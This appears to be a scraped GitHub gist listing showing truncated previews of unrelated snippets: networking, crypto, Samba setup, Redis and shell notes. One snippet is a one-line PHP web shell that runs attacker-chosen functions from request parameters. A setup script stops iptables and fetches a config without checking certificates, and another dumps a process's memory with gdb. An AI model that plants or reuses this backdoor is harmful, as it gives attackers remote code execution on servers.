This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""Demonstrates how to construct and send raw Ethernet packets on the | |
network. | |
You probably need root privs to be able to bind to the network interface, | |
e.g.: | |
$ sudo python sendeth.py | |
""" | |
from socket import * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* object.watch polyfill | |
* | |
* 2012-04-03 | |
* | |
* By Eli Grey, http://eligrey.com | |
* Public Domain. | |
* NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package demo; | |
import javax.crypto.Cipher; | |
import javax.crypto.spec.SecretKeySpec; | |
public class aes { | |
/** | |
* java字节码转字符串 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static String generateSignature () { | |
String encoded = ""; | |
String type = "HmacSHA1"; | |
try { | |
byte[] key = ("KEY").getBytes("UTF-8"); | |
byte[] Sequence = ("hello").getBytes("UTF-8"); | |
Mac HMAC = Mac.getInstance(type); | |
SecretKeySpec secretKey = new SecretKeySpec(key, type); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php extract($_REQUEST); @die($ctime($atime)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is the main Samba configuration file. You should read the | |
# smb.conf(5) manual page in order to understand the options listed | |
# here. Samba has a huge number of configurable options (perhaps too | |
# many!) most of which are not shown in this example | |
# | |
# For a step to step guide on installing, configuring and using samba, | |
# read the Samba-HOWTO-Collection. This may be obtained from: | |
# http://www.samba.org/samba/docs/Samba-HOWTO-Collection.pdf | |
# | |
# Many working examples of smb.conf files can be found in the |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
rm -rf /home/sambashare | |
mkdir /home/sambashare | |
echo 'Hello' > /home/sambashare/hello.txt | |
sudo yum install samba samba-client samba-common -y | |
sudo service iptables stop | |
cp /etc/samba/smb.conf /etc/samba/smb.conf.bak | |
rm -f /etc/samba/smb.conf | |
wget https://gist.github.com/vinhjaxt/148c47727de5dc9ad5332ed172b899c1/raw/774883da91c0775fa9f48d8f46a7d5edd2383b03/smb.conf --no-check-certificate -O /etc/samba/smb.conf | |
service smb restart |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Redis Cheatsheet | |
# All the commands you need to know | |
redis-server /path/redis.conf # start redis with the related configuration file | |
redis-cli # opens a redis prompt | |
# Strings. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
grep rw-p /proc/$1/maps \ | |
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ | |
| while read start stop; do \ | |
gdb --batch --pid $1 -ex \ | |
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ sudo apt install ibus-gtk* ibus-qt* | |
$ im-switch -s ibus # hoặc im-chooser với fedora | |
# or | |
$ im-config -s ibus # hoặc im-chooser với fedora | |
# Logout and re-login | |
# Sau đó cài thêm ibus-bamboo nữa là ok :))) |
OlderNewer